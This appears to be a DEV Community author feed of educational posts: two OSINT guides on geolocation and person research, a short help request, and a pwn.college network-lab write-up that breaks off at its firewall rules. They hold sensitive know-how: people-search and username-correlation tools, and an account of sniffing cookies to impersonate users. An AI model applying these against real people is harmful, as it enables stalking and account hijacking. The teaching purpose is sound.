DEV Community: Hitanshu Gedam

Reading the Wild: A Guide to Environmental Analysis in OSINT Investigations (OSINT series Part 2)

Hitanshu Gedam — Sun, 21 Jun 2026 10:59:29 +0000

Introduction

In the world of open-source intelligence (OSINT), the most compelling evidence is often hidden in plain sight—not in code or corporate filings, but in the natural world itself. While many investigations focus on human-made elements like buildings, signs, or digital footprints, a sophisticated approach involves analyzing the environment: plants, animals, terrain, and climate.

This guide explores how to leverage environmental analysis as a powerful tool in your OSINT investigations, turning the natural world into a source of actionable intelligence.

Why Environmental Analysis Matters
Flora Analysis: Reading the Vegetation
Fauna Analysis: Wildlife as Location Indicators
Terrain and Geological Analysis
Climate and Weather Indicators
Integrated Environmental Analysis
Real-World Applications
Conclusion
Further Resources

Why Environmental Analysis Matters

Environmental elements offer unique advantages that make them particularly valuable for investigators.

Key Benefits

Benefit	Description
Geographical Specificity	Many plant and animal species have specific geographic ranges
Seasonal Indicators	Natural elements change predictably with seasons
Resistance to Manipulation	Environmental elements are difficult to falsify convincingly
Persistence in Remote Areas	Natural features may be the only reliable indicators

Challenges and Limitations

🧠 Requires specialized knowledge of biology, ecology, and geography
🌍 Some species have wide distribution ranges
🌡️ Climate change is altering traditional patterns
🏙️ Human intervention can introduce non-native species

💡 Pro Tip: Despite these challenges, environmental analysis remains one of the most underutilized yet powerful techniques in the OSINT toolkit.

Flora Analysis: Reading the Vegetation

Plant life provides some of the most useful environmental indicators, offering clues about location, climate, season, and even human activity patterns.

Key Vegetation Indicators

🌳 Native Tree Species → Specific geographic ranges
🌸 Flowering Plants → Predictable bloom times
🌾 Agricultural Crops → Regional planting schedules
🌿 Plant Health → Season and climate indicators
🌲 Vegetation Density → Climate patterns and land use

Flora Analysis Process

Identify distinctive plant species or vegetation patterns
Research the geographic distribution of identified species
Consider growth stage or condition (flowering, fruiting, dormant)
Cross-reference with seasonal patterns
Look for multiple plant indicators to narrow down the location

Seasonal Vegetation Patterns

Vegetation changes predictably with seasons:

Season	Northern Hemisphere	Southern Hemisphere
Spring	March - May	September - November
Summer	June - August	December - February
Autumn	September - November	March - May
Winter	December - February	June - August

⚠️ Important: When analyzing fall foliage or spring blooms, pay attention to the progression of the season. Early, peak, and late seasonal stages can narrow the timeframe to within a few weeks.

Tools for Flora Identification

Tool	Description	Link
iNaturalist	Community-based species identification	inaturalist.org
PlantNet	AI-powered plant identification	plantnet.org
USDA Plants Database	Plant distribution in the US	plants.usda.gov

Fauna Analysis: Wildlife as Location Indicators

Animal species can provide precise location indicators and seasonal information for OSINT investigations.

Key Fauna Indicators

🦘 Endemic Species → Found only in specific regions
🦅 Migratory Patterns → Seasonal movements
🐻 Behavioral Cues → Breeding, hibernation patterns
🐄 Domestic Animals → Regional livestock practices
🐦 Urban Wildlife → Regionally specific species

Fauna Analysis Process

Identify animal species visible in the image or video
Research the geographic range and habitat requirements
Consider behavioral indicators that might suggest season
Look for multiple species to narrow down the location
Cross-reference with other environmental indicators

Practical Example

The presence of a kangaroo immediately narrows a location to Australia. If the image also shows a specific subspecies like the Antilopine Kangaroo, the location can be further narrowed to northern Australia (Northern Territory, Queensland, and Western Australia).

Tools for Fauna Identification

Tool	Description	Link
iNaturalist	Community species identification	inaturalist.org
Merlin Bird ID	Bird species identification	merlin.allaboutbirds.org
Global Biodiversity Information Facility	Species occurrence database	gbif.org

Terrain and Geological Analysis

Landforms, soil types, and geological features provide valuable location indicators that often remain stable over long periods.

Key Terrain Indicators

⛰️ Mountain Profiles → Distinctive shapes
🪨 Rock Formations → Unique geological features
🟫 Soil Color/Composition → Regional geology
💧 Water Features → Lakes, rivers, coastlines
🌊 Erosion Patterns → Climate and geology indicators

💡 Pro Tip: Terrain analysis is particularly valuable because geological features change very slowly compared to vegetation or human structures, making them reliable reference points even in historical imagery.

Terrain Analysis Process

Identify distinctive terrain features
Use topographic maps and elevation data
Consider how terrain appears from different angles
Look for multiple terrain features for confirmation
Use 3D visualization tools to verify potential matches

Tools for Terrain Analysis

Tool	Description	Link
Google Earth	3D terrain visualization	earth.google.com
USGS Earth Explorer	Satellite imagery and elevation data	earthexplorer.usgs.gov
OpenTopography	High-resolution topographic data	opentopography.org
Peakfinder	Identify mountain peaks	peakfinder.org

Climate and Weather Indicators

Weather conditions and climate indicators provide valuable information about both location and timing.

Key Climate Indicators

❄️ Snow Cover → Season and climate zone
☁️ Cloud Patterns → Regional characteristics
🌧️ Precipitation Types → Rain, snow, fog
💨 Wind Effects → Vegetation and sand patterns
🌊 Water Conditions → Wave patterns, ice cover

Weather as OSINT Data

OSINT tools like Weather2Geo can turn weather widget leaks into geolocation data. When people post screenshots with weather widgets showing temperature, weather condition, and local time, these tools can match that data to cities where those conditions are currently true.

Weather Analysis Process

Identify weather conditions visible in the image
Research historical weather data for potential locations
Consider how climate affects vegetation and human activity
Look for multiple weather indicators
Cross-reference with other environmental elements

Tools for Climate Analysis

Tool	Description	Link
Weather Underground History	Historical weather conditions	wunderground.com/history
NOAA Climate Data	Comprehensive weather records	ncdc.noaa.gov
Windy.com	Wind patterns visualization	windy.com

Integrated Environmental Analysis

The most powerful environmental analysis combines multiple natural indicators to triangulate location and time with high precision.

Combining Multiple Indicators

🌿 Flora + 🦔 Fauna → Specific ecosystems
⛰️ Terrain + 🌳 Vegetation → Microclimates and habitats
🌡️ Climate + 🍂 Seasonal → Precise timeframes
🌍 Natural + 🏗️ Human → Cross-referenced findings

Practical Workflow

graph TD
    A[Begin with distinctive environmental elements] --> B[Make initial assessments]
    B --> C[Look for additional indicators]
    C --> D[Cross-check with human-made features]
    D --> E[Use specialized tools to verify]
    E --> F[Document methodology and confidence]

⚠️ Important: Be aware that climate change is altering traditional patterns of vegetation, animal distribution, and seasonal indicators. Always consider recent ecological changes in your analysis.

Case Study: Environmental Analysis in Action

The Scenario

Investigators received an image showing a rural landscape with no visible text or distinctive human-made structures. The image showed rolling hills, a distinctive tree line, and flowering plants in the foreground.

The Analysis

Identified a distinctive oak species (Quercus lobata, Valley Oak) → Narrowed to California
Orange California poppies in bloom → Suggested spring (March-May)
Golden-brown grass on hills → Indicated beginning of California's dry season
Rolling hill terrain pattern → Matched California Coast Ranges
Focused on central California's coastal ranges in late April to early May

The Result

The analysis narrowed the location to a specific region in San Luis Obispo County, California. Using Google Earth's 3D terrain view, investigators matched the exact hill profile and tree line to a location along Highway 46. The timing was confirmed as late April based on the poppy bloom and grass conditions.

Real-World Applications

Environmental OSINT techniques have proven valuable in various investigative contexts.

Environmental Crime Investigations

Investigators increasingly use OSINT to expose environmental wrongdoing, from illegal fishing and shipbreaking to oil spills and deforestation. This work requires creativity and the ability to use alternative data sources that go beyond what is disclosed on the surface.

Key Techniques:

📡 Satellite imagery monitoring
🚢 AIS vessel tracking
🗺️ Spatial analysis with QGIS
🔍 Reverse image search for verification

Conflict Zone Documentation

Organizations like Bellingcat have used environmental analysis extensively in conflict zones. Investigators learn to:

Map airstrikes using satellite imagery
Identify perpetrators of environmental crimes
Geolocate conflict footage
Use Sentinel Hub satellite imagery
Apply QGIS for spatial analysis

Marine Investigations

Satellite imagery and vessel tracking (AIS) data are invaluable for monitoring ocean threats:

Detect illegal bilge water dumping by spotting dark trails on satellite imagery
Use AIS data to identify offending vessels
Monitor illegal fishing activities
Track oil spills and pollution

Citizen Science Integration

The growth of platforms like iNaturalist has opened new possibilities for using citizen-generated data in investigations. Despite challenges like bias and uneven coverage, these data sources offer scalable methods for revealing patterns of human interactions with nature.

Conclusion

Environmental analysis represents one of the most underutilized yet powerful approaches to geolocation and verification in OSINT investigations. By understanding how flora, fauna, terrain, and climate indicators vary across regions and seasons, investigators can extract precise location and timing information from images and videos, even when human-made elements are absent or ambiguous.

Key Takeaways

Takeaway	Description
🌱 Environmental knowledge is cumulative	Each new species or feature adds to your toolkit
🔄 Combine multiple indicators	Yields the most reliable results
🤝 Local expertise is invaluable	Consult regional specialists
📝 Document your methodology	Ensures findings can be verified

💡 Remember: The aim isn't just to prove something happened, but to connect it to responsibility and impact. Environmental analysis helps build that connection by providing verifiable, physical evidence.

Further Resources

Species Identification

Resource	Link
🌿 iNaturalist	inaturalist.org
🌍 Global Biodiversity Information Facility	gbif.org
🌸 PlantNet	plantnet.org

Satellite and Terrain Data

Resource	Link
🛰️ USGS Earth Explorer	earthexplorer.usgs.gov
🛰️ Sentinel Hub EO Browser	sentinel-hub.com/explore/eobrowser
🏔️ OpenTopography	opentopography.org

Weather and Climate

Resource	Link
☁️ Weather Underground History	wunderground.com/history
☀️ SunCalc	suncalc.org

Geolocation Tools

Resource	Link
🗺️ Google Earth	earth.google.com
⛰️ Peakfinder	peakfinder.org
🚢 Marine Traffic	marinetraffic.com

Communities and Learning

Resource	Link
🔍 Bellingcat	bellingcat.com
💬 r/OSINT	reddit.com/r/OSINT
📰 DataJournalism.com	datajournalism.com

About the Author

I'm passionate about open-source intelligence and the ways we can use publicly available information to uncover truth and promote transparency. Follow me for more OSINT guides and techniques.

📌 Tags

OSINT Geolocation EnvironmentalAnalysis InvestigativeJournalism OpenSourceIntelligence DataJournalism SatelliteImagery GeospatialAnalysis

⚠️ **Disclaimer:* The tools and techniques described in this guide are intended for ethical and legal use only. Always respect privacy, platform terms of service, and applicable laws when conducting OSINT investigations.*

Reference: FreeOSINT

The Ultimate Guide to OSINT: Framework, Ethics, Tools & Techniques (OSINT Series Part 1)

Hitanshu Gedam — Sat, 20 Jun 2026 08:12:21 +0000

Introduction

Open Source Intelligence (OSINT) has emerged as a crucial discipline in the digital era, driven by the rapid growth of information available on the internet. Today, the internet grows by approximately 20-30% each year, with a significant portion consisting of open source content such as social media posts, public documents, and multimedia files. OSINT involves collecting, analyzing, and interpreting publicly available data to achieve specific investigative objectives, serving everyone from intelligence agencies and law enforcement to ethical hackers, journalists, and academic researchers.

In this comprehensive guide, we'll explore the OSINT framework, ethical considerations, essential tools, and practical techniques that will help you become a more effective OSINT practitioner.

1) The OSINT Framework

What is the OSINT Framework?

The OSINT Framework is a centralized, web-based directory that organizes open-source intelligence tools into easily navigable categories. Created by security researcher Justin Nordine, it functions more like a roadmap than a single tool, connecting users with the best resources across multiple categories to support investigations in criminal investigations, corporate security, executive protection, cybersecurity, journalism, and law enforcement.

The framework's modular design allows users to explore different categories pertaining to particular types of data, such as username checks, domain name hunting, or location-based data, enabling them to tailor their approach based on their specific needs. Being open-source means the framework is freely accessible to anyone interested in utilizing it for educational or professional purposes.

Key Features of the OSINT Framework

Comprehensive Resource: Vast collection of tools and resources organized hierarchically, ranging from search engines and social media analysis tools to data breach databases
Modular Design: Users can explore different categories that pertain to particular types of data
Accessibility: Free and open to anyone interested in OSINT work
Up-to-date Information: Community-driven enhancements keep the framework current and relevant
Integration Ready: Many tools can be incorporated into broader intelligence platforms or workflows

OSINT Framework Categories

The OSINT Framework organizes its collection into clearly defined categories, each targeting a specific data type or investigative focus:

Category	Description	Example Resources
Username	Find profiles or linked accounts based on a username	Namechk, KnowEm
Email Address	Trace emails to discover breaches or ownership	HaveIBeenPwned, EmailRep
Domain Name	Gather WHOIS, DNS, and site-related info	DomainTools, ViewDNS
IP and MAC Address	IP location and device fingerprinting	IPinfo, Wireshark
Images/Videos/Docs	Reverse search or metadata analysis	Google Reverse Image, FotoForensics
Social Networks	Profile search and data analytics	Social Searcher, Twint
People Search Engines	Find publicly available info on individuals	Pipl, Spokeo
Public Records	Access to government/public records	SearchSystems, PACER
Business Records	Find business registration and ownership info	OpenCorporates, Crunchbase
Transportation	Info on flights, ships, and vehicles	FlightRadar24, MarineTraffic
Geolocation Tools/Maps	Identify location using maps and geotags	Google Maps, EXIF Viewer
Archives	Explore historical versions of web pages	Wayback Machine
Metadata	Extract hidden data from files	Metagoofil, FOCA
Dark Web	Access and monitor darknet markets	Tor Browser, Ahmia
Threat Intelligence	Threat feeds and indicators	AlienVault OTX

2) The OSINT Cycle

The OSINT cycle, also known as the intelligence cycle, describes the process of transforming raw data into finished intelligence for decision-makers to support action. This framework helps practitioners organize their approach and avoid missing critical information. The intelligence cycle consists of six interconnected phases:

1. Planning & Direction

This phase involves defining areas of interest, preparing a collection plan, setting priorities, and developing an appropriate intelligence architecture. Intelligence requirements must align with and support the goals and activities of the organization or client. As one investigator aptly noted: "Give me six hours to chop down a tree and I will spend the first four sharpening the axe" — this stage is critical because it initiates the entire intelligence cycle.

Key activities:

Define objectives, requirements, and scope of the investigation
Identify the best sources of information
Prepare a collection plan

2. Collection (Gathering)

In this phase, relevant data is retrieved from publicly available open sources based on the target objective. The internet serves as a primary source due to the vast amount of accessible information. To begin the search, at least one data point about the target is required — an email address, username, real name, location, or IP address.

The data obtained through a single technique serve as input for generating additional data with other techniques. From this stage onward, the entire intelligence creation process is initiated.

Key activities:

Gather information from various sources
Use multiple search engines and techniques
Document collection methodology

3. Processing (Data Enrichment)

This phase, also referred to as data enrichment, involves transforming collected raw data into understandable and valuable information. On their own, the data are not useful and must be interpreted to derive initial facts through preliminary analysis.

Key activities:

Filter, validate, and organize collected data
Extract relevant data from raw text using NLP techniques
Perform feature extraction and entity recognition
Distinguish signals from noise

4. Analysis & Production

This phase involves knowledge extraction and inference. The information generated in the previous phase is used as input for advanced inference algorithms such as pattern recognition, profiling behavior, value prediction, and event correlation.

Key activities:

Examine processed information to identify patterns, relationships, and insights
Look for trends and correlations
Map relationships between individuals, organizations, or locations

5. Dissemination & Integration

In this phase, intelligence is delivered to the consumer and put to use. The method of dissemination is determined by the client's needs and the criticality of intelligence. Intelligence personnel are responsible for ongoing support even after delivery, aiding in decision-making and responding to follow-up questions.

Key activities:

Present findings in a clear, actionable format
Tailor reports to the audience
Include methodology and key findings

6. Evaluation & Feedback

Evaluation and feedback occur continuously throughout all stages. This phase requires ongoing dialogue between all intelligence personnel involved in production and intelligence consumers. The goal is to identify issues as early as possible to minimize information gaps and mitigate capability shortfalls.

Key activities:

Evaluate the process and results
Identify which sources were most valuable
Improve future investigations

The Iterative Nature of the OSINT Cycle

The intelligence cycle is an iterative process in which data is continuously fed into the system to produce a sequence of ongoing results. The process begins with data collection, followed by data enrichment and knowledge inference, and then loops back to the initial stage, repeating in a cyclical manner. Findings at any stage might prompt a return to earlier stages to refine the approach or gather additional information.

Example: OSINT Cycle in Action

Scenario: Investigating a company for potential business partnership

Planning: Define what you need to know (financial stability, reputation, leadership)
Collection: Gather information from company website, news articles, financial reports, social media
Processing: Organize information chronologically, verify facts across multiple sources
Analysis: Identify patterns in company growth, leadership changes, market positioning
Dissemination: Create a report with key findings and recommendations
Feedback: Review which sources were most valuable for future investigations

3) OSINT Ethics and Legal Considerations

The legal landscape governing OSINT activities extends far beyond the notion of "public availability." The erroneous presumption that publicly accessible information exists free from statutory constraints constitutes one of the most significant compliance risks facing practitioners today.

Key Legal Frameworks

OSINT operations must comply with multiple, overlapping legal frameworks that impose substantive limitations on data collection and processing:

GDPR (EU): Sets strict rules on collecting and handling personal data, even when that data is publicly visible. Teams must justify purpose, minimize use, and apply safeguards.
CCPA/CPRA (California): Regulates how organizations gather and process personal information about California residents, including data found through open sources.
Computer Fraud and Abuse Act (US): Limits unauthorized access to systems or protected data. OSINT remains lawful only when collection stays within public, intentionally available information.
Platform-specific terms and regional privacy laws: Many platforms restrict automated scraping or bulk data collection. Local privacy frameworks may also affect how long data can be stored or how it can be shared.

Key Ethical Considerations

Respect for privacy and personal boundaries
Adherence to terms of service of platforms and websites
Awareness of copyright and intellectual property rights
Consideration of potential harm from information disclosure
Transparency about methods and limitations

Example: Ethical Dilemma

You find a public social media profile that contains potentially valuable information for your investigation. The information is technically public, but it's clear the person didn't intend for it to be widely accessible.

Ethical questions to consider:

Is this information truly necessary for your investigation?
Could using this information cause harm to the individual?
Would you be comfortable explaining your methods to others?
Are there alternative sources for this information?

Legal Considerations in Practice

The study of OSINT tools and techniques highlights that "the future of OSINT depends not only on technological advancement, but also on strong legal and ethical responsibility to mitigate risks of liability and reputational harm".

When in doubt, err on the side of caution and respect for privacy. Developing a personal ethical framework for OSINT work is essential for responsible practice.

4) OSINT Tools and Resources

Building Your OSINT Toolkit

A well-rounded OSINT toolkit should include tools from several essential categories:

Key Principles:

Purpose-Driven Selection: Choose tools based on your specific investigation needs
Redundancy: Have multiple tools that can accomplish similar tasks
Security Awareness: Consider the security implications of each tool
Learning Curve: Balance capability with ease of use
Integration: Consider how tools work together in your workflow

Search and Discovery Tools

General Search Engines

Google: Most powerful search engine when used with advanced operators
Bing: Microsoft's search engine, sometimes indexes content Google misses
DuckDuckGo: Privacy-focused search engine that doesn't track users
Yandex: Russian search engine with strong image search capabilities
Baidu: Chinese search engine useful for investigations in Asia

Specialized Search Tools

Google Dorking: Using advanced Google search operators for precise queries
Shodan: Search engine for internet-connected devices
Archive.org (Wayback Machine): Access to archived versions of websites
Google Dataset Search: Search engine for datasets
Google Scholar: Search engine for academic papers

Basic Search Operators

Search operators form the foundation of advanced searching and can be combined to create highly specific queries:

Operator	Function	Example
`" "` (quotation marks)	Search for an exact phrase	`"open source intelligence"`
`-` (minus sign)	Exclude a term	`osint -government`
`OR`	Search for either term	`osint OR "open source intelligence"`
`AND`	Search for both terms	`osint AND ethics`
`( )` (parentheses)	Group operators	`(osint OR intelligence) AND tools`

Example: To find information about Python (the programming language) while excluding results about snakes:

python programming -snake

Google-Specific Operators

Operator	Function	Example
`site:`	Limit results to a specific website or domain	`site:example.com osint`
`filetype:` / `ext:`	Find specific file types	`filetype:pdf "osint methodology"`
`intitle:`	Find pages with specific words in the title	`intitle:osint tools`
`inurl:`	Find pages with specific words in the URL	`inurl:security osint`
`intext:`	Find pages with specific words in the content	`intext:"social media investigation"`
`after:` / `before:`	Limit results to a specific time period	`osint after:2022-01-01 before:2022-12-31`
`related:`	Find websites related to a specific URL	`related:example.com`
`cache:`	View Google's cached version of a page	`cache:example.com`
`info:`	Get information about a specific URL	`info:example.com`
`link:`	Find pages that link to a specific URL	`link:example.com`
`*` (wildcard)	Replace unknown words in a phrase	`"best * for osint"`

Advanced Google Operators

For sophisticated OSINT investigations, the AROUND(n) operator is particularly powerful. It allows you to find documents where specific terms appear close to each other, indicating a stronger relationship between concepts.

Example: To find recent discussions about cybersecurity threats in the context of OSINT:

"cybersecurity threats" AROUND(3) osint after:2023-01-01

Social Media Investigation Tools

Social media platforms contain vast amounts of valuable information for OSINT investigations.

Cross-Platform Tools

Social Searcher: Search across multiple social platforms without logging in
Hootsuite: Monitor multiple social networks from one dashboard
Mention: Track mentions across social media and the web
Brand24: Social media monitoring and analytics tool

Twitter/X Tools

TweetDeck: Advanced Twitter dashboard for monitoring multiple feeds
Twint: Twitter scraping tool that doesn't use Twitter's API
Twitonomy: Detailed Twitter analytics and insights
Foller.me: Twitter analytics focused on account behavior

Instagram Tools

Instaloader: Download Instagram profiles, hashtags, and locations
ImgInn: View Instagram profiles without an account
Picuki: Instagram editor and viewer

Facebook Tools

Who Posted What: Search Facebook posts by date range and keywords
StalkScan: Find information that might be hidden but publicly available

People Search and Background Check Tools

General People Search

Pipl: Comprehensive people search engine (paid)
Spokeo: People search engine with contact info and social profiles
That's Them: Free people and business search
Hunter.io: Find email addresses by domain name
Clearbit Connect: Find email addresses and company information

Public Records

BeenVerified: Background check service (paid)
TruthFinder: Public records search (paid)
PACER: Public Access to Court Electronic Records (US)
SearchSystems: Directory of free public records

Username and Identity

Namechk: Check username availability across multiple platforms
WhatsMyName: Find usernames across many platforms
Sherlock: Command-line tool to find usernames across social networks
GHunt: Investigate Google accounts with an email

Website and Domain Analysis Tools

WHOIS and Domain Tools

ICANN WHOIS: Official WHOIS lookup for domain registration information
DomainTools: Comprehensive domain intelligence (paid)
ViewDNS.info: Multiple DNS and domain lookup tools
Whoxy: WHOIS search with historical data (paid)

Website Analysis

BuiltWith: Discover what technologies websites are using
Wappalyzer: Browser extension that identifies web technologies
SpyOnWeb: Find websites sharing the same tracking codes
Similar Web: Website traffic and analytics

Historical Analysis

Wayback Machine: View archived versions of websites
Archive.today: Another web archiving service
Cached View: View Google's cached version of pages

Security and Infrastructure

Shodan: Search engine for internet-connected devices
Censys: Search engine for internet devices and certificates
SecurityTrails: DNS, domain, and IP intelligence
VirusTotal: Analyze suspicious websites and files

Geolocation and Mapping Tools

Mapping Platforms

Google Maps: Comprehensive mapping with Street View and satellite imagery
Google Earth: 3D representation of Earth with historical imagery
Bing Maps: Alternative mapping platform with Bird's Eye view
OpenStreetMap: Open-source mapping platform with detailed data
Wikimapia: Crowdsourced map with annotated locations

Specialized Geolocation Tools

SunCalc: Calculate sun positions and phases for any location and time
ShadowCalculator: Analyze shadows to determine time and location
GeoGuessr: Practice geolocation skills with a game format
Mapillary: Crowdsourced street-level imagery

Location Data Tools

IP Geolocation: Tools like IP2Location and MaxMind
What3Words: Location reference system using three words
ExifTool: Extract location data from image metadata

Image and Media Analysis Tools

Reverse Image Search

Google Images: Find similar images and sources
TinEye: Reverse image search with historical results
Yandex Images: Often finds matches that Google misses
Bing Visual Search: Microsoft's reverse image search

Metadata Analysis

ExifTool: Extract metadata from images and files
Jeffrey's Image Metadata Viewer: Online EXIF data viewer
Forensically: Digital image forensics tool
FotoForensics: Error Level Analysis and metadata extraction

Video Analysis

InVID: Video verification plugin
YouTube DataViewer: Extract hidden metadata from YouTube videos
Frame by Frame: Analyze videos frame by frame

Data Organization and Visualization Tools

Note-Taking and Organization

Hunchly: Capture and organize web pages during investigations
Notion: All-in-one workspace for notes and databases
Obsidian: Knowledge base with linked notes
Joplin: Open-source note-taking with encryption

Link Analysis and Visualization

Maltego: Interactive data mining and visualization
Gephi: Open-source network visualization software
NodeXL: Excel template for network analysis

Timeline Tools

Timeline JS: Create interactive timelines
Aeon Timeline: Timeline visualization software (paid)
Tiki-Toki: Web-based timeline maker

Data Analysis

OpenRefine: Clean and transform data
Tableau Public: Data visualization platform
R with RStudio: Statistical computing and graphics
Python with Jupyter Notebooks: Data analysis and visualization

Automation and Programming Tools

OSINT Frameworks

Recon-ng: Web reconnaissance framework
SpiderFoot: Automated OSINT collection platform
theHarvester: Email, subdomain, and name harvester

Key Python Libraries

Requests: HTTP library for web requests
Beautiful Soup: Web scraping library
Selenium: Browser automation
Tweepy: Twitter API library
NLTK: Natural Language Toolkit for text analysis
Pandas: Data analysis library
NetworkX: Network analysis and visualization

5) Digital Footprint Investigation

Understanding Digital Footprint Types

Digital footprints can be categorized into two main types:

Active Digital Footprints (intentionally created):

Social media posts and profiles
Blog comments and forum participation
Online reviews and ratings
Publicly shared photos and videos
Website registrations and account creation

Passive Digital Footprints (created without direct user action):

IP address logs and geolocation data
Browser cookies and tracking pixels
Metadata embedded in files
Server access logs
Third-party data collection

Username Analysis and Correlation

Username analysis is often the starting point for digital footprint investigations. Users often employ patterns when creating usernames:

Consistent base name with platform-specific suffixes
Professional vs. personal username variations
Age-related patterns (birth years, graduation years)
Geographic indicators (city codes, area codes)

Systematic username investigation involves:

Starting with known usernames from target profiles
Generating variations and checking multiple platforms
Documenting all discovered accounts
Correlating information across platforms
Identifying patterns that suggest the same individual

Email Address Investigation Techniques

Email addresses are powerful investigative tools that can reveal extensive information about an individual's online presence.

Approaches include:

Username extraction: The local part (before @) often serves as a username
Domain analysis: Corporate, educational, or free email providers reveal affiliations
Account discovery: Finding services registered with the email
Historical analysis: Tracking email usage over time
Associated accounts: Identifying linked social media and service accounts

Reverse Image Search and Visual Analysis

Images contain valuable metadata and can be found across multiple platforms, making them powerful tools for digital footprint analysis.

Image Verification Process:

Perform reverse image search across multiple engines
Check for image manipulation or editing
Extract and analyze metadata (if available)
Compare with known authentic images
Document all findings and sources

6) Geolocation Techniques

Introduction to Geolocation

Geolocation is one of the most valuable skills in an OSINT investigator's toolkit. It involves determining the physical location where a photo or video was taken, or where a person or object is located, using only publicly available information.

Visual Clues in Geolocation

Successful geolocation often begins with careful observation of visual elements:

Architectural Features:

Building styles and materials
Distinctive landmarks or structures
Roof designs and colors
Street layouts and urban planning characteristics

Environmental Indicators:

Vegetation types and patterns
Terrain features (mountains, coastlines, etc.)
Climate indicators (snow, desert conditions, etc.)
Water features (rivers, lakes, oceans)

Human Elements:

Language on signs and advertisements
Vehicle types, license plates, and driving side
Clothing styles and cultural indicators

Infrastructure:

Road markings and traffic signs
Utility poles and street lighting
Construction styles for bridges, barriers, etc.

Shadow Analysis

Shadow analysis is a powerful technique for determining the time of day, time of year, and even the hemisphere where an image was taken.

Basic Principles:

In the Northern Hemisphere, shadows point northward during midday
In the Southern Hemisphere, shadows point southward during midday
Shadow length varies by time of day and season
Shadow direction changes throughout the day as the sun moves east to west

Shadow Analysis Process:

Identify vertical objects and their shadows in the image
Determine the shadow direction relative to the object
Estimate the shadow length relative to the object's height
Use tools like SunCalc.org to match potential dates and times
Cross-reference with other visual clues

Geolocation Workflow

Successful geolocation typically follows a methodical workflow:

Initial Assessment: Examine the image carefully and note all potential clues
Metadata Check: Extract and analyze any available EXIF data
Clue Prioritization: Identify the most distinctive or unique elements
Research: Research unfamiliar elements (e.g., architectural styles, signage)
Narrowing Down: Use clues to narrow the geographic area
Mapping Tool Search: Use satellite imagery and mapping tools
Verification: Confirm the location by matching multiple elements
Documentation: Document your findings and the process used

7) GIS for OSINT

GIS Fundamentals

Geographic Information Systems (GIS) are powerful tools that can significantly enhance OSINT investigations by providing spatial context to information.

Key GIS Concepts:

Spatial Data: Information identifying geographic location of features and boundaries
Layers: Different sets of spatial data that can be overlaid on a map
Vector Data: Represents features as points, lines, and polygons
Raster Data: Represents features as a grid of cells or pixels (e.g., satellite imagery)
Attributes: Non-spatial information associated with geographic features
Geocoding: Converting addresses to geographic coordinates
Spatial Analysis: Examining locations, attributes, and relationships of features

GIS Tools for OSINT

Web-Based GIS Tools:

Google Earth Web: Browser-based version with historical imagery
Google Maps: Familiar interface with Street View and measurements
Bing Maps: Alternative with Bird's Eye view
OpenStreetMap: Community-driven map with detailed infrastructure data

Desktop GIS Software:

Google Earth Pro: Free desktop application with advanced features
QGIS: Powerful open-source GIS software
ArcGIS: Commercial GIS software with extensive capabilities

Specialized OSINT GIS Tools:

Heatmap.io: Create heat maps from location data
Echosec: Social media monitoring with geospatial capabilities

Learning Resources

OSINT Training and Education

Comprehensive OSINT Resources:

OSINT Framework - Centralized directory of OSINT tools
Legendary OSINT - Curated list of OSINT tools and resources
ary.osint - Comprehensive OSINT toolkit with 100+ tools

Google OSINT Guide:

Practical Google OSINT guide - Covers operators, dorking, reverse image search, geospatial intelligence

OSINT Training:

KeyNorth Group OSINT Training - Free online OSINT training with practical exercises

Geolocation Resources

SunCalc - Analyze sun positions and shadows for any location and date
Bellingcat's Guide to Geolocation - Detailed guide on using shadows for geolocation

GIS Resources

QGIS Tutorials and Tips - Free, comprehensive tutorials for QGIS
Esri Training - Some free courses on GIS fundamentals
USGS Earth Explorer - Free satellite imagery and aerial photos
Natural Earth - Free vector and raster map data
OpenStreetMap - Free, editable map of the world

OSINT Communities

r/OSINT - Reddit community with frequent GIS-related discussions
Geographic Information Systems Stack Exchange - Q&A for GIS professionals

Conclusion

OSINT is a powerful discipline that combines technical skills with creative problem-solving and attention to detail. The most effective OSINT practitioners develop proficiency with a range of tools while understanding that tools alone are not sufficient—critical thinking and analytical skills remain essential.

The OSINT process is iterative and requires patience, persistence, and a commitment to ethical practice. As you continue your OSINT journey, remember that the field is constantly evolving. Staying current with new resources and techniques is an important part of OSINT practice.

Whether you're conducting social media research, geolocation work, or corporate investigations, the skills you've learned in this guide will serve as a solid foundation for effective OSINT work. With the right tools, techniques, and ethical framework, you can turn scattered public data into actionable intelligence.

Disclaimer: The tools and techniques described in this guide are intended for ethical and legal use only. Always respect privacy, platform terms of service, and applicable laws when conducting OSINT investigations.

Reference: FreeOSINT

What happened to zeroday.forem.com domain?? I had my posts there an no I cannot find anything. Who should I contact? Any help please

Hitanshu Gedam — Tue, 09 Jun 2026 15:58:06 +0000

Intercepting Communication on pwn.college's Intro to Cybersecurity Dojo

Hitanshu Gedam — Sun, 07 Jun 2026 08:43:47 +0000

Introduction

I recently completed pwn.college's "Intercepting Communication" track inside Intro to Cybersecurity dojo, a series of challenges that took me from the basics of socket programming to executing a full man-in-the-middle (MITM) attack. This post documents what I learned and how each challenge built upon the last.

Phase 1: The Basics of Network Communication

Connect, Send, Shutdown, Listen

These initial challenges taught me the fundamentals of socket programming:

Connect: Establishing TCP connections to remote hosts
Send: Transmitting data over established connections
Shutdown: Properly closing connections (half-closed vs. fully closed)
Listen: Creating a server that accepts incoming connections

The key insight was understanding the TCP state machine and how shutdown() differs from close() - shutdown() allows graceful half-closed connections while close() tears down the entire socket.

Scan 1 & 2: Port Scanning

These challenges introduced me to network reconnaissance:

TCP Connect scanning vs. SYN scanning
Understanding service identification through banner grabbing
Handling timeouts and connection refusals

I learned that a SYN scan (nmap -sS) is faster and stealthier than a full TCP connect scan because it never completes the handshake.

Monitor 1 & 2: Traffic Analysis

Using tcpdump and Wireshark, I learned to:

Capture packets with filters (host, port, tcp)
Analyze TCP flags (SYN, ACK, RST, FIN)
Identify suspicious patterns in network traffic

The tshark command became my best friend: tshark -r capture.pcap -Y "tcp.flags.syn == 1"

Sniffing Cookies

This was my first taste of how dangerous unencrypted traffic can be. By sniffing HTTP traffic, I could extract session cookies and impersonate users. This drove home why HTTPS is essential for any authentication.

Phase 2: Network Control

Network Configuration

Understanding IP addressing, subnet masks (/24, /16), routing tables, and default gateways. The ip command replaced the deprecated ifconfig in my toolkit.

Firewall 1, 2, 3

These challenges taught iptables:

Firewall 1: Basic filtering (ACCEPT/DROP rules)
Firewall 2: Stateful inspection (tracking established connections)
Firewall 3: NAT and port redirection

Key rules I learned:

iptables -A INPUT -p tcp --dport 22 -j ACCEPT
iptables -A INPUT -m state --state ESTABLISHED,RELATED -j ACCEPT
